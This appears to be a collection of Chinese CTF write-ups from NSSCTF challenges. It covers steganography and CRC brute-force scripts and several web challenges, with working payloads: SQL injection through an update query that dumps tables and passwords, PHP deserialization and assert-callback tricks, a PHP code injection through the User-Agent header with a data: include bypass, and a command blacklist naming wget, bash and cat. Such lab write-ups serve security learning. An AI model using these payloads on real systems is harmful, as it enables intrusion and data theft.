[SWPUCTF 2022 新生赛]Capture!

Problem: [SWPUCTF 2022 新生赛]Capture!

[[toc]]

修改高度得part1

再LSB隐写一把梭

zsteg -a flag.png #一把梭

猜测base64,无果

再颠倒顺序即可解出

[SWPUCTF 2022 新生赛]Cycle Again

Problem: [SWPUCTF 2022 新生赛]Cycle Again

先用010查看图片发现图片的宽和高为零即可知是crc爆破

再用脚本crc爆破


import binascii
import struct

# \x49\x48\x44\x52\x00\x00\x01\x00\x00\x00\x00\x00\x08\x02\x00\x00\x00
crc32key = 0x6bb7ad9c

for i in range(0, 65535):
    for j in range(0, 5000):
        width = struct.pack('>i', j)
        height = struct.pack('>i', i)
        data = b'\x49\x48\x44\x52' + width + height + b'\x08\x06\x00\x00\x00'
        crc32result = binascii.crc32(data) & 0xffffffff
        if crc32result == crc32key:
            print(''.join(map(lambda c: "%02X" % c, width)))
            print(''.join(map(lambda c: "%02X" % c, height)))


output:
00000800
00000480

即可得到part1

再用crc爆破压缩包即可获得part2

crc脚本

[SWPUCTF 2022 新生赛]Coffee Please

解压文档

使用vscode 搜索

即可得到flag

NSSCTF{8ff8a53a-9378-4e78-b54a-ef86e8c84432}

Problem: [SWPUCTF 2022 新生赛]Convert Something

[SWPUCTF 2022 新生赛]Convert Something

零宽隐写+base64隐写

零宽隐写
网站

base64隐写脚本

import base64
def get_base64_diff_value(s1, s2):
    base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    res = 0
    for i in range(len(s1)):
        if s1[i] != s2[i]:
            return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
    return res

def solve_stego():
    with open('.\字频统计.txt', 'rb') as f:
        file_lines = f.readlines()
    bin_str=''
    for line in file_lines:
        steg_line = line.decode().replace('\r\n', '')
        norm_line = base64.b64encode((base64.b64decode(line))).decode()
        diff = get_base64_diff_value(steg_line, norm_line)
        pads_num = steg_line.count('=')
        if diff:
            bin_str += bin(diff)[2:].zfill(pads_num * 2)
        else:
            bin_str += '0' * pads_num * 2
    print (bin_str)
    res_str = ''
    for i in range(0, len(bin_str), 8):
        res_str += chr(int(bin_str[i:i+8], 2))
    print (res_str)

if __name__=='__main__':
    solve_stego()

[SWPUCTF 2022 新生赛]Does your nc work?

https://www.nssctf.cn/problem/2633

nc 连接签到题,注意不要用windows连接就行

[SWPUCTF 2022 新生赛]funny_web

Problem: [SWPUCTF 2022 新生赛]funny_web

账号NSS
密码2122693401

intval()函数用于字符串转整数,可以使十六进制转十进制用于绕过数字过滤

intval()函数绕过,可以凭借字符串拼接绕过
payload:?num=12345a

[GWCTF 2019]枯燥的抽奖

PHP随机数预测

使用php_mt_seed

首先查看源码发现/check,可以发现生成逻辑,简单分析后就可以知道生成的前几位是什么,再生成php_mt_seed能识别的格式match_min matchmax 0 range_max,再用在线网站的生成即可

str1="TWKZDu268g"
key="abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
finall=""
for i in str1:
    num = key.index(i)
    finall+=(str(num)+" ")*2+'0'+" "+str(len(key)-1)+" "
print(finall)

再在在线网站运行就行,版本要求PHP 7.1.0+

[HUBUCTF 2022 新生赛]ezsql

考察update注入,首先可以注册一个账号,进入改资料的界面,抓包可以发现这里是进行了一个update操作

可以猜测到后台是用的update,其次可以扫描目录

可以发现源码泄露

注入语句

update users set age=$_POST[age],nickname='$_POST[nickname]',description='$_POST[description]' where id=$_SESSION[id];

注入database


nickname=%27+or+%3D1%3D11#&age=111,description=(select+database())#&description=(select+group_concat(password)users)%23&token=6344aa21324c599047073b593793ee61

database会在description显示

tables

nickname=%27+or+%3D1%3D11#&age=111,description=(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database())#&description=(select+group_concat(password)users)%23&token=6344aa21324c599047073b593793ee61

columns

 nickname=%27+or+%3D1%3D11#&age=111,description=(select+group_concat(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name=0x7573657273)#&description=(select+group_concat(password)users)%23&token=6344aa21324c599047073b593793ee61

users要改成十六进制的0x7573657273

[SEETF 2023]Sourceful Guessless Web

我们可以通过控制ini_set控制一些设置

具体能控制哪些设置,看这个表

<?php
    ini_set('display_errors', 0);

    $flag =  "NSSCTF{FAKE_FLAG}"; // Oops, my dog ate my flag...

    if (isset($_GET['flag']) && preg_match("/^SEE{.*}$/", $_GET['flag'])) {
        $flag = $_GET['flag'];

        if (isset($_GET['debug']) && isset($_GET['config'])) {
            foreach ($_GET['config'] as $key => $value) {
                ini_set($key, $value);
            }
        }
    }

    assert(preg_match("/^NSSCTF{.*}$/", $flag), NULL);
?>

<html>
    <head>
        <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-rbsA2VBKQhggwzxH7pPCaAqO46MgnOM80zW1RWuH61DGLwZJEdK2Kadq2F9CUG65" crossorigin="anonymous">
        <style>
            body {
                background-color: <?php echo $_GET["backgroundColor"] ?>;
                color: <?php echo $_GET["textColor"] ?>
            }
        </style>
    </head>
    <body>
        <div class="d-flex align-items-center min-vh-100">
            <div class="container text-center">
                <h1>Sourceful Guessless Web</h1>
                <div>
                    <p class="lead"> Personalize your flag: 🚩 <?php echo preg_replace("/NSSCTF{(.*)}/", "NSSCTF{********}", $flag); ?></p>
                    <p><i>This site is currently in alpha. The full flag will be available in 2024.</i></p>
                    <form>
                        <div class="form-group row my-2">
                            <label for="backgroundColor" class="col-sm-2 col-form-label">Background Color</label>
                            <div class="col-sm-10">
                                <input type="text" class="form-control" id="backgroundColor" name="backgroundColor" placeholder="black">
                            </div>
                        </div>
                        <div class="form-group row my-2">
                            <label for="textColor" class="col-sm-2 col-form-label">Text Color</label>
                            <div class="col-sm-10">
                                <input type="text" class="form-control" id="textColor" name="textColor" placeholder="white">
                            </div>
                        </div>
                        <div class="form-group row my-2">
                            <label for="flag" class="col-sm-2 col-form-label">Flag</label>
                            <div class="col-sm-10">
                                <input type="text" class="form-control" id="flag" name="flag" placeholder="NSSCTF{...}">
                            </div>
                        </div>
                        <input hidden name="debug" value="0">
                        <button type="submit" class="btn btn-primary">Submit</button>
                    </form>
                </div>
            </div>
        </div>
    </body>
</html>

我们这里可以设置assert的回调函数即assert_callback()readfile
由于第一个参数是调用assert()的文件名,我们可以用它来读取当前页面的源代码。
我们可以通过下面的代码测试

assert_options(ASSERT_CALLBACK, function($params){
    echo "====faild====", PHP_EOL;
    var_dump($params);
    echo "====faild====", PHP_EOL;
});

assert(1!=1);

需要注意的是,本特性已自 PHP 8.3.0 起废弃

得到的结果如下

// ====faild====
// string(105) ".../source/一起学习PHP中断言函数的使用.php"
// ====faild====

那么现在值得关注的是如何让他断言失败

这里就得利用pcre.backtrack_limit,pcre.backtrack_limit设置了匹配模式时可以采取的最大回溯步骤数。如果超过此限制,匹配将失败。

如果我们将这个值设置成0,那么我们无论怎么匹配都会失败

关于匹配支付回溯可以看这个文章

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。我们可以通过 var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限.

在有些时候,我们可以通过发送超长字符串来让preg_match返回false从而绕过某些限制

所以最后的payload如下

http://node4.anna.nssctf.cn:28754/?debug&config[assert.callback]=readfile&config[pcre.backtrack_limit]=0&flag=NSSCTF{AAAA}

[极客大挑战 2020]greatphp

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }

        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

?>

这里需要使用反序列化配合Exception类
在这里面,我们可以创建两个Exception类,并且确保他们的报错输出相同,由于是两个不同的class,会导致$this->syc != $this->lover
但是md5()sha1()会调用__toString(),为了保证他们的输出相同,两个Exception得定义到同一行。

<?php
class SYCLOVER
{
    public $syc;
    public $lover;
}
$payload = '?><?=include $_GET[_];?>';
$b = new Exception($payload, 1);$c = new Exception($payload, 2);
$a = new SYCLOVER;
$a->syc = $b;
$a->lover = $c;
print_r(urlencode(serialize($a)));

[Insomni 2019]Phuck2

打开之后是白页,我们使用arjun扫描参数可以获取源码

<?php
    stream_wrapper_unregister('php');
    if(isset($_GET['hl'])) highlight_file(__FILE__);

    $mkdir = function($dir) {
        system('mkdir -- '.escapeshellarg($dir));
    };
    $randFolder = bin2hex(random_bytes(16));
    $mkdir('users/'.$randFolder);
    chdir('users/'.$randFolder);

    $userFolder = (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']);
    $userFolder = basename(str_replace(['.','-'],['',''],$userFolder));

    $mkdir($userFolder);
    chdir($userFolder);
    file_put_contents('profile',print_r($_SERVER,true));
    chdir('..');
    $_GET['page']=str_replace('.','',$_GET['page']);
    if(!stripos(file_get_contents($_GET['page']),'<?') && !stripos(file_get_contents($_GET['page']),'php')) {
        include($_GET['page']);
    }

    chdir(__DIR__);
    system('rm -rf users/'.$randFolder);

?>

通过源码,我们知道其主要注入点在include($_GET['page']);
前面file_put_contents会将print_r($_SERVER,true)的输出保存,我们可以在请求头中添加php代码,写入profile
那么重点就到了绕过!stripos(file_get_contents($_GET['page']),'<?') && !stripos(file_get_contents($_GET['page']),'php')中来了

allow_url_include=Off时,file_get_contents的文件名为data:aa/profie时,会识别成aa/profile而由于allow_url_include=Offinclude会直接将输入当作路径名,所以include会识别成data:aa/profile,我们可以利用这个特性绕过检测
payload

挺离谱的,我用bp返回没结果,但是我用hackbar就行

POST /?page=data:aa/profile HTTP/1.1
Host: node4.anna.nssctf.cn:28618
Content-Length: 0
Pragma: no-cache
Cache-Control: no-cache
Origin: http://node4.anna.nssctf.cn:28618
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: <?php system('/get_flag');?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node4.anna.nssctf.cn:28618/?page=data:aa/profile
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1757342121,1757407834,1757495670,1757555880; HMACCOUNT=4D7B108F87B0EAEC; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1757574078
X-Forwarded-For: data:aa
Connection: keep-alive

[安洵杯 2019]easy_web

点进去自带参数

我们可以看到对应的加密类型

可以看到他包含了一个文件名,我们使用相同的编码将其改成index.php

我们可以获取到源码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

黑名单可以使用ca\t绕过,剩下的就是一个常见的md5强密码爆破,但是hackbar有个很坑的问题是会自动在post参数最后加一个回车,这样会导致参数错误要注意只有在application/x-www-form-urlencoded(raw)会加这个回车

[HUBUCTF 2022 新生赛]Calculate

感觉就是考代码功底,功底太低被搏杀了orz
payload

import requests
import re
import time
session = requests.session()

burp0_url = "http://node5.anna.nssctf.cn:24821/"
burp0_cookies = {"Hm_lvt_648a44a949074de73151ffaa0a832aec": "1757555880,1757588653,1757606918,1757607993", "PHPSESSID": "9ablfi50evhr4kvva6r13ttv07"}
burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "keep-alive"}
response = session.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
formula = re.findall(r"\">(.+?)</div>",response.text)

print(response.text)
formula = ''.join(formula)
print(formula)
result = eval(formula[0:-1])
print(result)
time.sleep(1)

# session = requests.session()
while True:
    ans_url = "http://node5.anna.nssctf.cn:24821/"
    ans_cookies = {"Hm_lvt_648a44a949074de73151ffaa0a832aec": "1757555880,1757588653,1757606918,1757607993", "PHPSESSID": "9ablfi50evhr4kvva6r13ttv07"}
    ans_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Origin": "http://node5.anna.nssctf.cn:24821", "Content-Type": "application/x-www-form-urlencoded", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://node5.anna.nssctf.cn:24821/", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "keep-alive"}
    ans_data = {"ans": f"{result}"}
    response1 = session.post(ans_url, headers=ans_headers, cookies=ans_cookies, data=ans_data)
    if "nssctf" in response1.text:
        print(response1.text)
        break
    formula = re.findall(r"\">(.+?)</div>",response1.text)

    # print(response.text)
    formula = ''.join(formula)
    print(formula)
    result = eval(formula[0:-1])
    # print(result)
    time.sleep(1)

[SCTF 2021]loginme

X-Real-IP,一般只记录真实发出请求的客户端IP

go的模版渲染使用的是{{}},可以看到当传入参数可控时,就会经过动态内容生成不同的内容。
常用ssti

{{.}} 表示当前对象,如user对象
{{.FieldName}} 表示对象的某个字段 如{{.Name}}user对象的Name字段
{{range …}}{{end}} go中for…range语法类似,循环
{{with …}}{{end}} 当前对象的值,上下文
{{if …}}{{else}}{{end}} go中的if-else语法类似,条件选择
{{xxx | xxx}} 左边的输出作为右边的输入
{{template “navbar”}} 引入子模版

一个好奇的人